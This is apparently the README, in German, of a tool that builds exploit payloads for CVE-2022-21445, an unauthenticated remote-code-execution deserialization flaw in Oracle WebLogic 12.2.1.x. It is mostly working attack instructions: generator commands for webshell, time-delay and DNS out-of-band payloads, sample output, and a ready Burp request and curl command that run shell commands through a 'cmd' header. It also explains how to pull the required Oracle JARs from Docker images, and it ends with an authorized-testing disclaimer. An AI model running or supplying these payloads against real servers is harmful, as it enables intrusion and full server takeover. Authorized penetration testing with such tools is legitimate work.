
Exploit for CVE-2022-21445 of Oracle Weblogic 12.2.1.X
Dieses Toolkit generiert Exploit-Payloads für CVE-2022-21445, eine kritische Java-Deserialisierungsschwachstelle, die Oracle WebLogic Server 12.2.1.x mit Oracle ADF Faces betrifft.
Der Fehler existiert in der Komponente RemoteApplicationResourceLoader und ermöglicht es einem Angreifer, eine speziell präparierte HTTP-GET-Anfrage zu senden, die eine unsichere Deserialisierung auslöst. Eine erfolgreiche Ausnutzung kann zu nicht authentifizierter Remote Code Execution (RCE) auf dem Zielserver führen.
| Anforderung | Version | Zweck |
|---|---|---|
| Python | 3.6+ | Ausführen des Exploit-Skripts |
| JDK | 1.8 (8u202 empfohlen) | Kompilieren und Ausführen des Java-Payload-Generators |
| Weblogic | 12.2.1.X | Angreifbare Versionen |
Das Payload muss mit JDK 1.8 kompiliert werden, um mit der Java-Laufzeit des Ziels übereinzustimmen.
# SDKMAN verwenden:
sdk install java 8.0.402-tem
# Java 8 auswählen
sudo update-alternatives --config java
java -version # Sollte 1.8.x anzeigen
javac -version # Sollte 1.8.x anzeigen
Erstellt ein Payload, das Befehle aus dem HTTP-Header cmd liest und die Ausgabe im Antworttext zurückgibt.
python3 exploit.py --version 12.2.1.4 --type webshell
Ausgabe:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
Für Blinde Tests – bestätigt Codeausführung, wenn die Antwort verzögert wird.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
Senden Sie das Payload und messen Sie die Antwortzeit:
Für Out-of-Band-Bestätigung mit Burp Collaborator oder Ähnlichem.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
Verwenden Sie --target, um formatierte Ausgabe mit dem korrekten Host und Kontextpfad zu erhalten:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
Dies formatiert die Burp-Anfrage und den curl-Befehl mit dem korrekten Host und Pfad:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd-Headers, um verschiedene Befehle auszuführen
Bei defekten Jar-Dateien befolgen Sie bitte die Anleitung, um die gewünschte Weblogic-Version zu installieren und die relevanten Jars zu extrahieren.
Dies extrahiert die erforderlichen Oracle-JARs aus dem offiziellen FMW Infrastructure Docker-Image.
# Erstellen Sie das libs-Verzeichnis
mkdir -p libs/12.2.1.3
#oder
mkdir -p libs/12.2.1.3
# Laden Sie das Oracle FMW Infrastructure 12.2.1.3 oder 12.2.1.4 Image
# Hinweis: Möglicherweise müssen Sie die Lizenz unter container-registry.oracle.com akzeptieren
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#ODER
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Angenommen, wir benötigen die JARs der Version 12.2.1.4 (ersetzen Sie .4 durch .3 in den Befehlen für 12.2.1.3)
# Erstellen Sie einen temporären Container (muss nicht gestartet werden)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extrahieren Sie die erforderlichen JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
Hinweis: Das
javax.mail-JAR (erforderlich für MIME-Base64-Kodierung) wird automatisch beim ersten Start von Maven Central heruntergeladen. Keine manuelle Einrichtung erforderlich. Das Webshell-Payload verwendet reine Reflection und benötigt keinweblogic.jarzur Kompilierzeit.
Dieses Tool ist nur für autorisierte Sicherheitstests bestimmt. Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören. Die Autoren übernehmen keine Verantwortung für Missbrauch. Unautorisierter Zugriff auf Computersysteme ist illegal.